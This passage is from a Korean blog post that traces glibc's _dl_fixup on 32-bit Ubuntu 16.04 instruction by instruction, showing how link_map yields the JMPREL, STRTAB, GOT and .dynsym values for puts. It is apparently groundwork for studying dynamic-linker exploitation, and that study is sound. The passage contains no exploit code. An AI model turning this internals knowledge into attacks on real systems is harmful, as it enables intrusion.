&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d9zT9X/btsGdEv3FGZ/kAeK7DsyKJPpl3koyjk8O0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d9zT9X/btsGdEv3FGZ/kAeK7DsyKJPpl3koyjk8O0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d9zT9X/btsGdEv3FGZ/kAeK7DsyKJPpl3koyjk8O0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd9zT9X%2FbtsGdEv3FGZ%2FkAeK7DsyKJPpl3koyjk8O0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;814&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;833&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VKfR6/btsGe7cGtV8/KGy5eNLGtLy8mCldo70wrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VKfR6/btsGe7cGtV8/KGy5eNLGtLy8mCldo70wrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VKfR6/btsGe7cGtV8/KGy5eNLGtLy8mCldo70wrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVKfR6%2FbtsGe7cGtV8%2FKGy5eNLGtLy8mCldo70wrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;833&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;833&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqKo3q/btsGd06IQT9/THl4n7OzLlWOzWSPfCLMu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqKo3q/btsGd06IQT9/THl4n7OzLlWOzWSPfCLMu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqKo3q/btsGd06IQT9/THl4n7OzLlWOzWSPfCLMu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqKo3q%2FbtsGd06IQT9%2FTHl4n7OzLlWOzWSPfCLMu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;406&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;_dl_fixup 함수로 들어가서 _dl_fixup 함수를 디스어셈블 해보면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;현재 edx 레지스터와 eax 레지스터에는 reloc_offset 값과 link_map의 주소가 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 부분&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJJW4B/btsGdPEqi5Z/KllkMXIzyukTdk2WvsmCyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJJW4B/btsGdPEqi5Z/KllkMXIzyukTdk2WvsmCyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJJW4B/btsGdPEqi5Z/KllkMXIzyukTdk2WvsmCyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJJW4B%2FbtsGdPEqi5Z%2FKllkMXIzyukTdk2WvsmCyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;48&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI3usA/btsGfxbhbxl/X7Bpno5MKDyPtwBmfykK5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI3usA/btsGfxbhbxl/X7Bpno5MKDyPtwBmfykK5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI3usA/btsGfxbhbxl/X7Bpno5MKDyPtwBmfykK5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI3usA%2FbtsGfxbhbxl%2FX7Bpno5MKDyPtwBmfykK5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;174&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이전에 lob 환경에서는 STRTAB의 주소를 구하고, JMPREL의 주소를 구한 후 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소를 구하고 나서 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 구하고 puts 문자열의 offset 값을 구한 다음 GOT 주소를 구하고 마지막으로 PUTS 문자열의 주소를 구하는 순서로 진행됐었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 ubuntu 16.04.07 32bit 버전에서는 좀 다르게 값을 구하는 순서와 구하는 방법에 변화가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 사진을 보면 빨간색 화살표로 되어 있는 것과 초록색 화살표로 되어 있는 것 그리고 하얀색 화살표로 되어 있는 것과 노란색 화살표로 되어 있는게 있는데 각각 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;빨간색 화살표 : JMPREL의 주소를 구하는 부분&lt;/p&gt;
&lt;pre id=&quot;code_1711810033083&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0xb7fe97e2: mov edi, eax
0xb7fe97f4: mov ecx, [edi+0x7c]
0xb7fe97fe: add edx, [ecx+0x4]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;초록색 화살표 : STRTAB의 주소를 구하는 부분&lt;/p&gt;
&lt;pre id=&quot;code_1711810173338&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0xb7fe97f7: mov eax, [eax+0x34]
0xb7fe9801: mov eax, [eax+0x4]
0xb7fe9807: mov [esp+0xc], eax&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하얀색 화살표 : puts 함수의 GOT 주소를 구하는 부분&lt;/p&gt;
&lt;pre id=&quot;code_1711810299771&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0xb7fe980b: mov ebp, edx
0xb7fe9810: mov eax, [ebp+0x0]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;노란색 화살표 : .dynsym에서의 index 값과 재배치 타입 값을 구하는 부분&lt;/p&gt;
&lt;pre id=&quot;code_1711810348619&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0xb7fe980d: mov edx, [edx+0x4]
0xb7fe9813: mov esi, edx&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 0xb7fe9804 주소에서 edi+0x38 주소에 있는 값을 ecx 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 과정&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실제로 명령 한 줄씩 따라가보며 값을 알아본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;순서가 뒤죽박죽이니 잘 따라가야 한다.(기록하며 따라가는 걸 추천한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;296&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyCikr/btsGdsW1jxh/OiCGfOajRSlfm6qvih8eSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyCikr/btsGdsW1jxh/OiCGfOajRSlfm6qvih8eSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyCikr/btsGdsW1jxh/OiCGfOajRSlfm6qvih8eSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcyCikr%2FbtsGdsW1jxh%2FOiCGfOajRSlfm6qvih8eSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;296&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;296&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 eax 레지스터에 있는 link_map의 주소(0xb7fff918)를 edi 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJAtRj/btsGeuM7RfP/EpWuUb7lFQmcxOBkLcMec0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJAtRj/btsGeuM7RfP/EpWuUb7lFQmcxOBkLcMec0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJAtRj/btsGeuM7RfP/EpWuUb7lFQmcxOBkLcMec0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJAtRj%2FbtsGeuM7RfP%2FEpWuUb7lFQmcxOBkLcMec0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;573&quot; height=&quot;290&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;link_map의 주소(0xb7fff918)에 0x7c를 더한 주소(0xb7fff994)에 있는 값(0x8049f94)을 ecx 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boxBLe/btsGfhl7Eza/OsFFsmZMtXkDBq1mgCGD41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boxBLe/btsGfhl7Eza/OsFFsmZMtXkDBq1mgCGD41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boxBLe/btsGfhl7Eza/OsFFsmZMtXkDBq1mgCGD41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboxBLe%2FbtsGfhl7Eza%2FOsFFsmZMtXkDBq1mgCGD41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;153&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;link_map의 주소(0xb7fff918)에 0x34를 더한 주소(0xb7fff94c)에 있는 값(0x8049f54)을 eax 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 구함과 동시에 reloc_offset 값을 이용해 puts에 해당하는 Elf32_Rel의 주소 구하는 부분&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CsVR7/btsGeAsVH6R/YKhwAhpsOolK0F65MCcI9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CsVR7/btsGeAsVH6R/YKhwAhpsOolK0F65MCcI9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CsVR7/btsGeAsVH6R/YKhwAhpsOolK0F65MCcI9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCsVR7%2FbtsGeAsVH6R%2FYKhwAhpsOolK0F65MCcI9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;153&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VCMwQ/btsGcOFZSNS/KKZ36ib8zsr86jmg9AhnM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VCMwQ/btsGcOFZSNS/KKZ36ib8zsr86jmg9AhnM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VCMwQ/btsGcOFZSNS/KKZ36ib8zsr86jmg9AhnM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVCMwQ%2FbtsGcOFZSNS%2FKKZ36ib8zsr86jmg9AhnM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;184&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;esi 레지스터에 들어있던 값(0xb7fff000)을 esp+0x8 주소(0xbffff000)에 넣고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ecx+0x4에 있던 값(0x8048298)과 edx에 있던 reloc_offset 값(0x0)을 더해 edx 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x8048298 주소는 JMPREL의 시작 주소이고, reloc_offset 값이 0x0이기 때문에 0x8048298 주소의 Elf32_Rel 구조체 형식의 값은 puts() 함수의 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 부분에서 JMPREL의 주소를 구함과 동시에 JMPREL 주소에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소를 구해 edx 레지스터에 넣는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;추가적으로 .dynsym에서의 index 값은 0x1인 것을 확인할 수 있으니 .dynsym에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값에 있는 STRTAB 주소로부터의 puts 문자열 offset 값을 알아와 수동으로 직접 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lhXQ0/btsGfJioMq2/KappYCBogvUeooO8aK7UVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lhXQ0/btsGfJioMq2/KappYCBogvUeooO8aK7UVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lhXQ0/btsGfJioMq2/KappYCBogvUeooO8aK7UVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlhXQ0%2FbtsGfJioMq2%2FKappYCBogvUeooO8aK7UVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;122&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;.dynsym의 주소는 0x80481cc이고, 해당 주소로부터 index 1번째 값을 보면 위와 같이 나오는데, 맨 처음 4byte는 STRTAB 주소로부터의 puts 문자열 offset 값이고, 14번째 1byte는 최초 호출인지 재호출인지 판단하기 위한 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB의 주소는 바로 다음에 구할 것이지만 미리 언급하자면 0x804821c이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x804821c 주소에 offset 0x1a를 더하니 정말 puts 문자열이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;link_map을&amp;nbsp;이용해&amp;nbsp;STRTAB&amp;nbsp;테이블&amp;nbsp;주소&amp;nbsp;구하기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXVAFL/btsGeyu6VfV/crO6Cd61c9wbFR7hChUlK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXVAFL/btsGeyu6VfV/crO6Cd61c9wbFR7hChUlK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXVAFL/btsGeyu6VfV/crO6Cd61c9wbFR7hChUlK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXVAFL%2FbtsGeyu6VfV%2FcrO6Cd61c9wbFR7hChUlK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;153&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ym3fW/btsGeRaavO8/M3LSknJa0F6TVa4dV3A0kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ym3fW/btsGeRaavO8/M3LSknJa0F6TVa4dV3A0kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ym3fW/btsGeRaavO8/M3LSknJa0F6TVa4dV3A0kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fym3fW%2FbtsGeRaavO8%2FM3LSknJa0F6TVa4dV3A0kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;168&quot; data-origin-width=&quot;523&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;바로 이어서 eax+0x4 주소(0x8049f58)에 있는 값(0x804821c)을 eax로 옮긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x804821c는 STRTAB의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 부분에서 STRTAB의 주소를 구해 eax 레지스터에 넣는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mGWOr/btsGdRWGjmn/kkPvBMknmd1kEoRKXzGlJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mGWOr/btsGdRWGjmn/kkPvBMknmd1kEoRKXzGlJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mGWOr/btsGdRWGjmn/kkPvBMknmd1kEoRKXzGlJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmGWOr%2FbtsGdRWGjmn%2FkkPvBMknmd1kEoRKXzGlJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;617&quot; height=&quot;168&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;edi+0x38 주소(0xb7fff950)에 있는 값을 ecx 레지스터에 옮김으로써 ecx 레지스터의 값은 0x8049f5c로 바뀐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;STRTAB의 주소를 esp+0xc 주소에 저장&lt;/b&gt;&lt;/h4&gt;
